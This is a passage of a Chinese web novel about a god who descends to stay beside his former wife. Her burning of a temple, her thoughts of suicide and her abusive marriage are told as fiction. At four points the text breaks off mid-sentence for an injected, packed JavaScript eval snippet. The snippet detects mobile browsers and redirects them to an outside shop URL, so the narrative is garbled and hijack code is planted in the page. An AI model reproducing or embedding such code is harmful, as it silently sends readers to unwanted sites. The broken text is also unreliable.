金身罗汉合掌行礼,恭敬地说道:“衡羿仙君,你不理解上一世的得道高僧,为什么下一世突然变成淫僧,那不知道你有没有想过,自己都轮转了百千万世了,怎么还是忍不住对自己的信徒怀有私心呢?” 突然被指责的衡羿,心念微动道:“我怀什么私心了?” “这天下间,藏污纳垢的地方多的去了,谋财害命的寺庙也不只我这一间,看着众生自生自灭的寺庙更是数不胜数。只是因为把你的小信徒赶了出来,让她哭了几声,你就要降下天雷劈我这寺庙,算不算谋私呢?知道的,说你关爱自己的小信徒,不知道的,还以为你在护着前妻。” “你——” 金身罗汉不等衡羿再说些什么,恭敬地做了个退礼,消失在了天上。 黑夜中,回荡着一句嘲笑之语:“衡羿仙君,人间的事,还是让凡人来了却吧。神仙插手,太不公平了。就算你再如何舍不得,那也是上一世的事情了。” 是的。 不只仙界知道衡羿为了前世的妻子下来追妻。 满天神佛都是知晓的。 他在人间的一举一动,都被这些人看在眼里。 怎么会不嘲笑他呢? 差点被妻子安排的人上两次,还死赖在身边不走。 这都已经不是不明事理了,大家都怀疑他走火入魔了。 只有他还自诩公允地陪在小信徒身边。 结果小信徒受一点儿委屈,就要劈了佛界控制下的寺庙。 一点边界感都没有。 还好意思跟他这个小小的金身罗汉辩论,谁不知道他坠入爱河了? 耽于凡间的情爱,对一个普通的神来说,是很可耻的事。 偏偏,他还是被天道选中的,掌管三界的神君。 真是可耻到家了。 大家表面上对他恭恭敬敬的,可背地里谁不是放肆地嘲笑他呢。 笑死了。 自己在天上不动声色地看了前妻三十年,以为能忍住,结果一朝下凡就黏了过去,别人撵都撵不走。 早知道这样,还忍那三十年干嘛? 疼痛是很能让人清醒的。特别是这种劈头盖脸的痛楚。 花祝年被砸之后,趴在地上哭得直哆嗦。 把气力几乎哭尽了,她也就突然悟了。 爹娘良善一生,捐钱捐物,却为贼人所用。 不如,让她毁了干净! 她住不上,那就都别住。 花祝年将被扔出来的鞋子重新穿好,从四周的野地里捡了些秸秆。 点着后,转着圈地借力抡上了寺庙的房顶。 每个房顶上都抡了几捆上去。 最后,还往那扇朱红色的大门前,堆满了点燃的秸秆。 朱红色的漆被烧成了焦黑色。 冲天的火光,撕裂了夜幕。 她背着光,一边疯跑一边狂笑,跑得两只鞋子都掉了。 最后,栽倒在松软的土地上。 她吃了一嘴的土,咳了两声后,翻了个身,仰头看着天上的那轮明月。 感觉它像一个大白馒头。 夜晚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13189057|132764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的泥土,扑扑地冒着热气。她的汗淌在土上,浑身都像泡了个热水澡一样。 花祝年摸着怀里的木盒子,轻喃道:“安逸啊,真是好安逸。” 烧庙是件极痛快的事,那些僧人的死活,她也是不管的。 毕竟,一向嫉恶如仇。 衡羿看着庙里救火的僧人,不知道该说些什么。 此刻,金身罗汉又出现了。 “你的小妻子这么彪悍,好像不需要你保护呢。” 衡羿看了对方一眼,对方及时笑着改口道:“说错了,你的小信徒。” “他们受人供奉,却连口饭都不给她吃,难道不该受到惩罚吗?跟我的小信徒,彪不彪悍有什么关系?不反抗,岂不是要被人欺负死?” 金身罗汉无奈地苦笑:“那门上的朱漆,用料特殊,一旦被火点燃,只会将门缝凝结,那扇门是再也打不开的。你的小妻子,哦,不是,你的小信徒,肯定知道门上的那种材料被火烧后,会起什么样的反应。她对佛弟子起了杀心,亲手送他们下了地狱。只是没有借她留宿,给她吃斋饭,应该用不着这么狠吧?” 衡羿冷笑道:“她爹娘在世时,养活了多少寺庙。这些僧人就是靠她家吃饭的,说是他们的再生父母也不为过。你的这些佛弟子,不敬衣食父母,忘却再造之恩,拿走他们的命又有什么关系?” 金身罗汉忍不住说道:“怪不得他们都说你——” “说我什么?” “说你,清汤大老爷。” 衡羿虽然听不懂,但能感觉到不是什么好话。 不过,他还是将那句话,还给了对方:“人间事,要人来了却。刚才我要劈这庙,你阻止我,说神不能有偏私。现在,这庙被小信徒烧了,僧人在火海中挣扎,我想,你也不要管吧。” 金身罗汉点了点头:“自然不会。” 其实,他早就料到花祝年会做出一些过激的事。 所以才阻止衡羿劈庙的。 说起来,也算是保护了他,不被天道惩罚。 至于那些僧人在火中的苦难相,金身罗汉看了当然很难受。 可是,这是他们所造的业。 如果刚才留花祝年住一晚,再给她些斋饭吃,想来也不至于此。 大破才会大立。 这些僧人这些年过得太舒服了,一直都没有遇到真正能治他们的人。 对佛法缺少敬畏之心,对众生更是。 这下真的要永堕无间地狱,求出无期了。 各人有各人的缘法。 因此,惩罚僧人的花祝年,最终也不会去天上。 她也会为自己的冲动付出代价。 金身罗汉转身对衡羿说道:“衡羿仙君,珍惜你们相处的时光吧。你的小妻子杀孽太重,两个多月后,她也会去地狱和那群人相聚的。” 衡羿沉声道:“她不会。” 金身罗汉平静地说道:“她会。在人间你救不了她,在地狱你更捞不上她。不过,我看她这暴躁的性情,可能去了哪里都吃不了亏,你也不必太担心了。缘生缘灭,她离世后,你的念想也该断绝了。” 衡羿不发一言地看着,躺在宽阔野地上的小信徒。 她的怀里还抱着那个小木盒,盒子里装着那尊小泥人儿。 贺平安被抓后,她终于可以大大方方地将它抱在怀里说体己话了。 金身罗汉出于好心,再次对他劝道:“其实,从你离世起,你们的缘分就已经断了。后面的,一直是她在强求。她自己痴愚就算了,你怎么也跟着下来了呢?” 46. 你能陪我三十年 花祝年已经有很多年,没有这样闲适自在地看过星星了。 之前陪吴凝,是为了赚钱。 只有现在是为了自己,她在看属于自己的星星。 漫天的繁星坠了下来,夜幕抻都抻不住。 有那么一瞬间,让她感觉仿佛回到了小时候。 跟爹娘在一起。 她没有兄弟姐妹,不用担心家产的问题。 更没有凶恶的多事亲戚,没有被掠夺继承权的风险。 那时候,她好像只要慢慢长大,做自己喜欢的事就可以了。 花祝年看星星的习惯,是跟娘在一起时养成的。 娘说在生她的时候,夜晚起了很大的雾,可是有一颗星星特别亮。 等生完她后,再去那个位置寻找,之后就再没看见过那颗星星了。 当时爹和娘都有些迷信,碰巧赶上江湖术士来骗钱。 其实,无非是说几句吉祥话而已。 可对方说,她的命格跟别人的不一样。不是富,而是贵。 富者易不仁,贵者却能匡扶天下。 爹娘就因为这几句吉祥话,赠了江湖术士黄金百两。 她每次想起来,都觉得他们受骗了。 不仅如此,爹娘还因为上天把她这个极贵之人,送来了花家,开始大肆捐助寺庙和道观。 说是感谢上天。 花祝年现在想来都觉得有些可笑。 有什么好感谢的? 她来了花家,没有给爹娘带来半点福报,反倒一直让他们为自己布施。 甚至,直到爹娘相继去世,她都没能做出什么有用的事。 她并不是让他们感到骄傲的女儿。 从小到大,她好像除了看书,就只会看书。 看了半天,才发现书里的世界,和真实的世界,是完全不一样的。 从始至终,只有她在遵守书里的道理。 所以,才把日子过成这样。 到头来,一点点抹去人性。她并没有成为极贵之人,反倒变得凶狠残暴。 乱世真是难活啊。 花祝年从来没有像今天这样绝望。 可能也有贺平安被抓的缘故。 贺平安是个混子,可是,也是她相依为命的男人。 有他在,她做很多事,也有底气。 现在他就要死了,她却什么也做不了。 也不知道,这一路怎么去京城。 早知道,寺庙不认账,她就带走老姐妹儿的钱了。 花祝年现在已经没有任何勇气,再往下去找任何一家寺庙或道观了。 她害怕契约不被遵守,道义守则崩塌。 也害怕见到爹娘的真心被人践踏。 她现在什么也不想干,只想这样静静地躺着。 肚子很饿很饿,可她已经没有力气站起来,去找寻吃的了。 她的身体仿佛和身下的泥土粘结在了一起。 花祝年甚至希望身下,是一片巨大的沼泽地。 这样她可以悄无声息地深陷下去。 那些男人救不了了,女人们就守寡吧。 她先下去了。 累了。真的累了。 偏偏身下不是沼泽地,她连死都不能悄悄摸摸的。 现在死了,第二天她就会曝尸荒野。 大概会被人嘲笑吧。 唉,管他呢。 她都准备要去死了,还管什么嘲笑不嘲笑的。 说起来,这五十年,她也活够了。 花祝年抱着怀里的木盒,闭上了眼睛,准备饿死自己。 在睡梦中,将军又给她托梦了。 梦里的她比现实中的要精神许多,甚至一骨碌爬了起来,坐到了地上。 花祝年内心羞涩地说道:“我,我好久,不见你了。” “嗯。” 他的回应很淡,却也很温暖。 哪怕听不出什么语气,只要看见他,她就会觉得温暖。 花祝年又小心翼翼地问道:“你快要封神了吗?” 她都已经供奉了他三十年了。 所有的心血都耗在他这里,怎么着也该感动上天了吧。 “还差一点点。” 她挠了挠自己的头:“啊?还差一点点啊?我快熬不住了。真的,活不下去了。贺平安在的时候,我觉得日子难熬,却也只是难熬而已,从来没想过放弃。可是,贺平安被抓了,我的精气神好像也被抓走了一样。” “他在的话,我只需要应付他就好。可是,他一不在,我要应付没完没了的老光棍儿。洗衣做饭已经很累了,我还要像王寡妇一样,走动手里都拎把菜刀。怎么办啊?” “真的熬不住了。贺平安恐怕真的要被处死了。京城那么那么远,我身上一分钱都没有,再回去拿钱的话,也没什么力气了。不如,我先死了吧。我真的太累了。不想活下去了,活不动了。” 自从得知王寡妇差点跟贺平安在一起后,王寡妇主动地疏远了她。 可是,她却从来没有怪过她,甚至很理解她。 花祝年是看着王寡妇如何艰难地过日子的。 哪怕他们当时准备合谋埋了她,她也觉得情有可原。 贺平安并不是一个男人,只是女人生存下去的凭借,或者说像是王寡妇手里的那把菜刀。 有了贺平安,王寡妇手里就再也不用拿着菜刀了。 如果花祝年还年轻,或许还有拿菜刀的心气。 可她已经五十岁了,跟别人斗不下去了,贺平安一被抓走,她几乎可以想见自己今后的日子怎么过。 她让那些女人结伴居住,并放出消息说自己有关系,也是为了震慑那些老得咔嚓咔嚓的老光棍。 老光棍们不怕死,但怕挨打,尤其是暴打。 只要让他们觉得,那群男人还有活着回来的可能,就不敢轻举妄动。 那群女人就暂时是安全的。 这是她唯一能想到的办法了。 可现在,或许是经历了打击的缘故,她的确是提不起什么精神来。 对爹娘愧疚又自责,对自己也很无奈。 怎么就把日子过成这样了呢? 明明,她很努力的。 花祝年做什么都很努力。 努力干农活,努力洗衣做饭,努力把菜园子打理好。 努力地做好一个妻子。 可到头来,居然是这样的下场。 正在她心灰意冷的时候,突然听将军说道:“没关系。累了,就休息吧。” 花祝年看着白衣少年的身影,无助地哭道:“我真的能休息吗?那你怎么办啊?我努力了三十年,还是不能让你成神吗?” 让薛尘封神这件事,花祝年是很认真去做的。 认真到一分一分地收集功德。 她做了什么好事,都会算到将军头上。 同样的,做了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13203105|132764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 坏事,自己担着。 绝不让他遭受到一点污名。 将军点了点头:“可以。你能陪我三十年,我已经很感激了。” 花祝年叹了口气。 他的脾气还是这样好。如果换了别人,在最后时刻,突然想放弃,应该会发火吧。 可他居然让她休息。 她怎么能在这种时候休息呢? 真是太不仁义了! 当初将军就被人背叛过一次,她怎么能再次背叛他呢? 花祝年打起精神来:“我不休息了。你放心,我一定活到你封神。” 她和他都知道,休息意味着死亡。 他体谅她活着辛苦,她心疼他没办法封神。 将军消失了。 花祝年在原地怔了良久,她还没来得及跟他说别的话呢。 怎么就消失了? 衡羿在一旁抱着馒头和羊肉叹气。 这些年,她就是这样鼓励自己的。每当想要死的时候,总会有个理由让她活下去。 可是,他从未给她托过梦,更从未鼓励她活着。 如果可以的话,他甚至希望她死。 希望她死在他死的那一刻。 至少,不用受后面三十年的煎熬。 可偏偏他的小信徒,会自己哄着自己。 她知道该怎么给自己钓命。 就像前面放了一根胡萝卜一样,永远有希望,永远坚持下去。 他的小信徒或许不爱这个世界,但一定是爱他的。 那种爱已经超出了男女之间的情爱。 就像她执着于去救贺平安那些人一样。在她眼里,该封神的人,就要封神,不该死的人,就不能死。 她以羸弱之躯,试图抵抗命运的安排。 命运可以安排得了她的人,却无法安排她的心。 她永远不会屈服。 也许,薛尘的事,永远不可能有人为他翻案,证明他的清白。 而贺平安那些人的生死,除了各自的家人,也终究是没什么人在意的。 可只要她活一天,她就会记得这一切。 世道乱,是世道的事。 她的心不能也跟着乱。否则,那她就和芸芸众生一样了。 可她偏不。 没有什么特别的理由,就是不想顺从于不喜欢的世道。 她得活下去。 村子里的那群女人,还等着她找关系去救人。 将军也在等她的功德,她一定助他封神。 当初背叛他,对他行刑的那些人,恐怕早已经尘归尘土归土了。 是没人记得他们的。 可是她的将军,她会永远记得。 只要有人记得他,他就不算孤单。当然,她也不会孤单。 他们像世间唯二两个知道真相的人一样。 他赤诚地爱着这个世间,而她也赤诚地爱着他。 坚守他所坚守的一切。 花祝年深呼吸了一口气,闻到了羊肉的味道。 她又再次用力地闻了闻,担心自己饿出了幻觉。 睁开眼睛一看,身旁坐了个人。 她爬起来,看着衡羿:“你怎么来了?不是让你在家好好待着吗?” 衡羿拿过她的小脏手,掏出手帕来替她擦拭干净。 花祝年惊得一把抽离开:“大半夜发什么神经?” 她知道这后生是不怎么正常的。 47. 凭什么要他一个神 他重新拿过她的手,低下头认真地擦拭着。 “吃东西前,不要擦手吗?你手这么脏,怎么吃?” 其实擦不太干净,但总比不擦要好。 在擦拭的时候,他摸着她掌心的硬茧,内心泛起一阵心疼。 她在花家,什么时候干过重活? 等翻过她的手背时,他看到上面烫出了几个水泡,水泡上掺着血丝,血丝里混着泥土。 可她像是感觉不到疼一样。 花祝年脾气比较急,她抬手打了他的头一下:“看什么呢?我快饿死了,有吃的就快点儿拿出来。” 衡羿打开她之前丢给他的包袱,里面用牛皮纸包着馒头和羊肉。 羊肉是他去很远的地方买的,切成小块夹在馒头里。 她的身体底子很差,再加上经年的劳累,气血不足,应该多吃些羊肉补一补的。 贺平安之前也给她买过,每个月都会给她买一次。 毕竟,条件也有限。 花祝年抱着馒头,大口大口地吃了起来。 一口气,干了三个馒头。 吃得满嘴油光。 他知道她饿坏了。 在一旁拿着水等待她喝,水是温热的,他特意弄热的。 吃羊肉喝凉水,胃里会不舒服。 坐在泥里的花祝年吃饱喝足后,打了个很大的饱嗝。 之后,像是吃困了一样,直直地躺倒在地上。 衡羿轻晃了晃她的肩:“花大娘。” “别碰我,让我睡会儿。” 她这一天太累了。 之前是饿得想睡觉,现在是撑得想睡觉。 他的确觉得她应该休息。 可是,再怎么休息,也不能在这里啊。 衡羿将她拉坐起来,刚想将她背到自己的身上,忽然觉得背上一痛。 整个人连带着花祝年,一起摔回到地上。 地上都是软烂的泥土,花祝年太累了,因此并没有摔醒。 她现在整个人,是那种疲倦到昏睡的状态。 衡羿从她的怀里,摸索出那个木盒。 里面的稻草中,安安稳稳地躺着一个小泥人儿。 他一把捏住,恨不得捏碎它。可是看到她沉静安睡的面容,终究还是将她的小泥人儿放回到木盒里。 也不是在吃薛尘的醋,但就是心理很别扭。 薛尘是他的前世,前世他与她并没有什么交集。 她唯一给他的印象,也就只是行刑前看她的那一眼而已。 至于之前对她的解救,他不只救了她一个,实在是没什么印象了。 那时候,她在他这里,根本算不得什么。 其实,哪怕是他回归神位后,也是曾暗暗嘲笑过她的痴愚的。 一介凡人,不好好过自己的生活,竟然妄想用一己之力,帮一个众所周知的罪人封神。 衡羿承认,他曾经骄傲到一度看不起她。 那种骄傲源于对前世今生的认知,以及对世事的出离。 而她,在泥潭中挣扎,明明自身都难保,却想着度一个死人。 那个死人从未给过她回应,不知道她究竟是如何坚持了三十年。 就连她所以为的托梦,也不过是她日有所思夜有所梦而已。 他从来没有给过她任何支撑。 所有的支撑,所有的妄想,都是她自己给自己的。 在很久之前,他甚至没想过下来寻她。 就连,她暗暗期待,他能用夫君的身份来接她,他也觉得可笑至极。 她一个跟自己没什么牵扯的凡人,凭什么要他一个神,来配合她演这场荒诞的戏码? 就因为她喜欢他吗? 很多很多年以后,衡羿心中才有了答案。 是。 就因为她喜欢他。 甚至,就连金身罗汉所问他的那个问题—— 她痴愚就算了,你怎么也跟着下来了呢? 也可以用这个理由来回答。 就因为,她喜欢他。 精诚所至,金石为开,他被小信徒感动到了,所以才会下来陪她。 以给她送终的名义,陪她走完人生的最后几十天。 衡羿将那个木盒子,放到带来的包袱里。 将包袱扎紧,挂在了脖子上。 然后,将他的小信徒背了起来,准备带她去好一点的地方睡。 小信徒辛苦半生,不能在最后的日子里,也睡在泥土中。 他背着她,在月光下走着。 寺庙的大火烧了一夜才停,里面的僧人无一生还。 所有的一切都毁掉了,只有那块功德碑,还立在那里。 有时候,他觉得她真是很天真。 天真到认为宗教场所,是按照宗教里的经文所运转的。 不知道她对他这样痴愚,是否因为被家人的迷信所影响到。 衡羿带花祝年去到镇上的时候,已经是清晨了。 她被放到椅子上时,仍沉沉地睡着。 他让人送来了些热水,蹲下来帮她洗脚。 她之前在泥地里疯跑过,跑得小腿上都是泥。 衡羿一遍又一遍地帮她洗着。 他不禁想到,如果,如果薛尘有幸和她在一起的话,也活到了这个年纪,应该也还是会给她洗脚的。 她的脚背上,有凸起的青筋,这是体内有淤堵的症状。 看起来已经很严重了。 上天真是残忍,竟让她被病痛折磨至死。 可是,花祝年从来没有对贺平安说过自己身体不舒服。 她甚至连她的那些老姐妹儿都没说。 就自己忍着。 疼得受不了了,就去拜一拜小泥人儿。 好像他真的能救她一样。 衡羿将小信徒抱去了床上,找了两个小丫鬟,趁她昏睡着,帮她擦洗着身体。 他本来是在外面等待的,可是又放心不下她,就忍不住看了看里面的场景。 结果,却发现,她们并没有好好对待她。 “你说,这老大娘,是那个年轻人什么人啊?” “他娘吧。” “真孝顺啊。可是她身上好臭啊,不知道从哪儿弄了这么多泥。” “头发丝上都是,好恶心。我都不想给她擦。” “妈耶——她身上,怎么这么多伤啊?还有牙印。” “啧啧,饱受摧残的躯体,看着要吐了,这真不是人干的活。但凡我有点钱,我也不来这里伺候老大娘。” “还是半截身子入土的老大娘!” 两个人边说边笑。 衡羿终于忍不住,推开门走了进去。他从来没有对这个世间这样愤怒过! 对方一看他进来,立马敛起了笑声,装作什么都没说的样子,低头帮花祝年擦拭着身体。 他走到她们面前,将两个人拉离开床边:“同为女子,你们不会老吗?到底,到底是怎么对着一个长辈,说出这种不堪入耳的话?还是说,你们觉得自己永远不会堕入到泥泞之地?” 两个小丫鬟意识到这个年轻人,大概是听到了自己方才的谈笑之语 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13212504|132764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 连忙跪下来求饶。 满口都是求他不要告诉老掌柜的,现在是乱世,生怕自己被扫地出门。 被赶出去,就没活路了。 衡羿攥紧了拳头,竭力克制着自己的情绪,抑声让她们滚。 两个小丫鬟匆忙中带着手巾退了出去,却被衡羿喊住:“擦洗的东西放下。” 她们放下后,就忐忑地出去了。 其实,伺候老年人,特别是神志不清的老年人,在她们这些小丫鬟看来,发几句牢骚是难免的。 之前也不是没有伺候过老人,给老人擦洗身体。 当然也是在房间里打打闹闹,说说笑笑,就糊弄过去了。 不知道这个年轻人,是怎么听见她们谈话的。 居然还生这么大的气。 在乱世,谁不知道带着老人赶路,是个累赘? 况且还是一个弄得自己满身是泥的老人。 衡羿一边哭,一边帮小信徒擦洗着身体。 他之前是觉得不好意思,才让别人帮她擦洗的。 没想到,会让她被人嘲笑。 有那么一瞬间,他不免阴暗地想,活该这世道乱了三十年! 这群人根本不配得到安稳太平的生活。 面对老人竟然说出这样残忍的话,她们冷漠又邪恶的行径,配得上今后这一生的磋磨。 真是,活该! 他被两个小丫鬟气得浑身发抖。 其实,他过往的轮回转世中,不是没经受过老年被人虐待的事。 可偏偏事情发生在他的小信徒身上,衡羿就是很接受不了。 如果他不是神就好了,就能随意杀人了。 虽说因言获罪有些冤枉,可他的确气狠了,不想给那两个人留活口的。 留下她们,继续嘲笑欺辱下一个昏睡不醒的老人吗? 他要气死了。 外面的雷打得轰隆轰隆的,一道道闪电像是把天空撕裂了无数个口子。 衡羿是脾气很好的神,可有时候,他的确很难忍受那些,在病人面前放肆嘲笑侮辱的人。 如果换做他的小信徒,看见同样遍体鳞伤的老人,她只会心疼地给对方擦拭伤口。 连贺平安那样的混子恶霸她都会去救,更不要说那些处境艰难的老人了。 没有人比他的小信徒好,可偏偏她受苦这样多。 上天真是不开眼。 小信徒,永远都是可以让人信赖的人。 是那种哪怕自身遇到很坏的事,也不用担心她会抛弃他。 当初,薛尘被行刑,她都敢去捡起那些残肢。那一刻,的确让他有种从云端坠落,却被某个人稳稳接住的感觉。 哪怕那时候,他已经回归神位了。 她永远不会落井下石,永远对世间的穷苦者,保有着最起码的悲悯。 不是因为她家道中落,被迫成为他们的一员。 而是,她本来就是很好的人。 当然,她的脾气也很暴躁。 惹急了,也是会杀人的。可正因如此,才得以在乱世存活。 她虽然活得不那么痛快,可内心却极为热烈。 昏暗的世道,从来不会让她的心染上半分尘埃,总是那样干净明亮。 没有人比得上她。 她是特别特别好的小信徒,比他轮转百千万世,遇到的所有人都要好。 衡羿轻抚着她心口的咬痕,那是早年间贺平安在她身上留下的,每次做的时候都会加深。 这个该死的老混蛋,怎么就不能让他死呢? 48. 妻子被人惦记就够糟心了 小信徒说,公报私仇不好。 可是,就算公报私仇了,又怎么样呢? 贺平安就是做了鬼,也无法来叨扰她,他会帮她挡住。 衡羿虽然见证了花祝年三十年的婚姻生活。 可是,他毕竟跟她的视角,还是有所不同的。 就算他再如何以神的身份自居,还是避免不了代入前夫的视角。 作为她的前夫,他只能看到现任是如何摧残她,却并不理会其他。 可同贺平安日夜相处的花祝年,却对贺平安没有那么重的恨意。 她只觉得两个人只是不适合,但是没办法解决这种阴差阳错。 贺平安是一把极锋利的刀,护了她三十年。 他会在很累的时候,累到回家一躺就睡着,还不忘在睡梦中掏出给她买的漂亮绸线。 捡到主家不要的旧书,也会带回家给她看。 他没办法让她过上在花家的生活,却在自己的能力范围内做到了极致。 可同时,又不给她太多的自由。 抓到一点蛛丝马迹,就开始跟她闹,甚至对她动辄打骂。 贺平安更像一只偏执的猎犬,护主又咬主的那种。 花祝年没办法忽略他养家的劳累和辛苦,可是也无法给他什么情感上的回应。 她对他从未有过男女之情,就只是为了在乱世生活下去,一起搭伙过日子而已。 因为不爱他,所以他打她,她只有身体上痛,心是没什么感觉的。 甚至,有时候看贺平安歇斯底里发泄痛苦的样子,她还会觉得愧疚。 他像一只困兽,胡乱冲撞着四周的桎梏。 她是离他最近的人,也是困他的人。 花祝年的自私,隐没在悄无声息之间。 她不爱他,但是需要他,所以也没放过他。 就是给他一点点希望,说自己会当好一个妻子,但是也只是当好妻子的角色,并不会真正地成为这个世界上最爱他的女人。 说来惭愧,花祝年对贺平安的感情,甚至没有王寡妇的深厚。 说起来,贺平安摧残了花祝年一辈子,可花祝年也使唤了贺平安一辈子。 她的一辈子,也是他的一辈子。 可关于花祝年内心的心思,衡羿是看不到的。 在这两个凡人的感情里,他几乎无条件地偏向于自己的小信徒。 他只看到贺平安是个饿死鬼,回家没吃的就发脾气,却无暇顾及贺平安在外面干活需要力气,当然很容易就饿了。 其实主家有给工人饭吃,但是贺平安不想在那里吃。 无论如何也要回家吃,哪怕是半天不见她,他就会想念她。 他想跟花祝年过正常的夫妻生活,就是老婆孩子热炕头的那种。 离家的时候有她送,回家的时候有她等。 他的确很贪心,贪心到要她身心都属于他。 而不是,一个跟他搭伙过日子的妻子。两个人从早到晚见不到面,只有晚上在床上能睡一起。 还是半强迫没什么感情的做。 他确实爱她,但也确实恨她不爱自己。 贺平安别看脾气冲,可是个心思很细腻的人。 别人爱不爱他,他是感觉得到的。 他用生命去爱的人,在嫁给他之后,从未有一刻是爱他的。 他找不到这种畸形婚姻的根源,因为再怎么样他也不能怪自己的妻子。 所以,只能怪那个拿走她心的前夫哥。 每次看到她拜小泥人儿,他都会气得浑身发抖。 这跟当着他的面,搞别的男人有什么区别? 每次破防的贺平安,都会跟花祝年大闹一场。 并不是出于男人的尊严。 其实,贺平安觉得男人的尊严,并不如何重要的。 当初花祝年嫁给他的条件之一,就是允许她在家里供奉小泥人儿。 村子里的人都知道,那是她的前夫。 她对小泥人儿情深义重。 可他不在乎。 贺平安不在乎她把小泥人儿带进家。 她在他心里,一直是很重要的。因为那份重要,所以显得他卑微。 他甚至想过,就算前夫哥没死,他愿意跟前夫哥一起拥有她。 前夫哥做大的,他做小的,他也愿意。 贺平安是接受花祝年,心里既有前夫哥,又有自己的。 真的。 他是那样卑微地祈求她,能给他一点点爱。 一点点就够了。 可让他无法接受的是,她心里只有前夫哥,半点都没有自己。 不仅刚结婚的时候是这样,婚后过了很多年还是这样。 这是他根本无法忍受的事! 他不要她只是做一个妻子的本分,他从始至终想要得到的,只有她的爱。 贺平安这一生,从没被人爱过。 如果她能爱他的话,那真是死了也甘心。 那种爱不是你侬我侬的温柔小意,而是无论任何时候都不会被她放弃。 只是搭伙过日子的婚姻太脆弱了。 夫妻本是同林鸟,大难临头各自飞。 他不想过那种虚假的日子,像是活在梦幻泡影之中。 有时候,他宁可让她恨他,也不想看见她的眼中平静无波。 贺平安知道现在这个世道,外面满大街都是像他们这样的夫妻。 可他就是不想接受。 正如她不肯接受前夫哥的死亡一样,他也不接受自己只能拥有一个相敬如宾的妻子。 他偏不和她相敬如宾。 哪怕两个人吵得热火朝天,他把她弄得遍体鳞伤,总比相敬如宾要好。 贺平安喜欢把日子过得热热闹闹的。 他跟衡羿,几乎是两个极端。 所以,一个是神,而另一个是人中最恶劣的极品。 可无论贺平安作成什么样子,花祝年是理解他的。 理解他的挣扎、痛苦、打骂,还有他偏执的歇斯底里,突然发疯…… 她只是,没办法解决。 他像一个性情古怪的合作伙伴。 她为了生存,只能迁就。可若是让她爱他,她也是做不到一点。 但你让她放手,出于利益的考量,她也不会那么做。 两个人都是乱世婚配的牺牲品。 可同时,又都执拗地坚守着自己的内心。 一个不再爱上任何人,另一个却不断地强求,要得到对方的爱。 比着劲儿地看谁犟得过谁,大半辈子也就这么犟过来了。 衡羿看起来是在天上当神仙,可实际上跟那种扒着门缝,偷窥妻子跟偏执矫情小房日常生活的大房,也没什么两样。 别看他什么都没说过,可就是什么都没说,才让三个人的关系诡异起来。 他的种种举动,看起来是不打扰妻子跟偏执小房的生活,稳做一个逝去的白月光大房。 可实际上,无一不是在变相地承认自己的前夫身份。 至少,明明他给她托个梦,就能让她断了对他的念想。 可是,衡羿竟然一次梦都没托过。 明明托个梦,几句话就能解释清楚的事,他怎么就不托呢? 宁可在天上当三十年的哑巴,也不愿意下来跟她吱一声。 告诉她自己从来没有在意过她,让她不要再往 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13222202|132764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他身上浪费感情了。 但凡他说这么一句,花祝年可能也就和贺平安好好过了。 可是,他就是什么也没说出口。 就算不忍心拒绝她的情意,直截了当地告诉她一句,他已经回归神位了,无需她再日夜供奉了,也能断了她这三十年的担忧吧。 至少,她跟贺平安的日子,也不会过成这样。 所以说,花祝年和贺平安有今天,衡羿至少要占一半多的责任。 他的确从表示过对她的爱慕或偏袒,但也从未阻止她对他的情意。 无论那份情意是什么,出于一个神的责任,甚至是一个死去的前夫,人家都已经有了新的家庭了,难道他不应该主动退出吗? 衡羿的所作所为,乍一看没什么问题,毕竟掌管三界的神,似乎没必要对凡人做出解释。 可是深究起来,根本经不起推敲,甚至让人觉得细思极恐。 凡人不清楚就算了,天上的其他神仙可是看得清清楚楚的。 又不给人家回应,还让人家时刻念着你,这是什么行为? 说难听些,就是引诱良家妇女的狂徒行为。 贺平安整天发疯,跟个绝望的怨夫一样,但也只是埋怨自己比不过一个死人。 他若是知道,那个死人早已回归神位,根本不用自己的妻子供奉这三十年,他们这三十年的争端本可以避免…… 不知道会不会想杀上九重天。 妻子被人惦记就够糟心了,偏偏被一个神惦记! 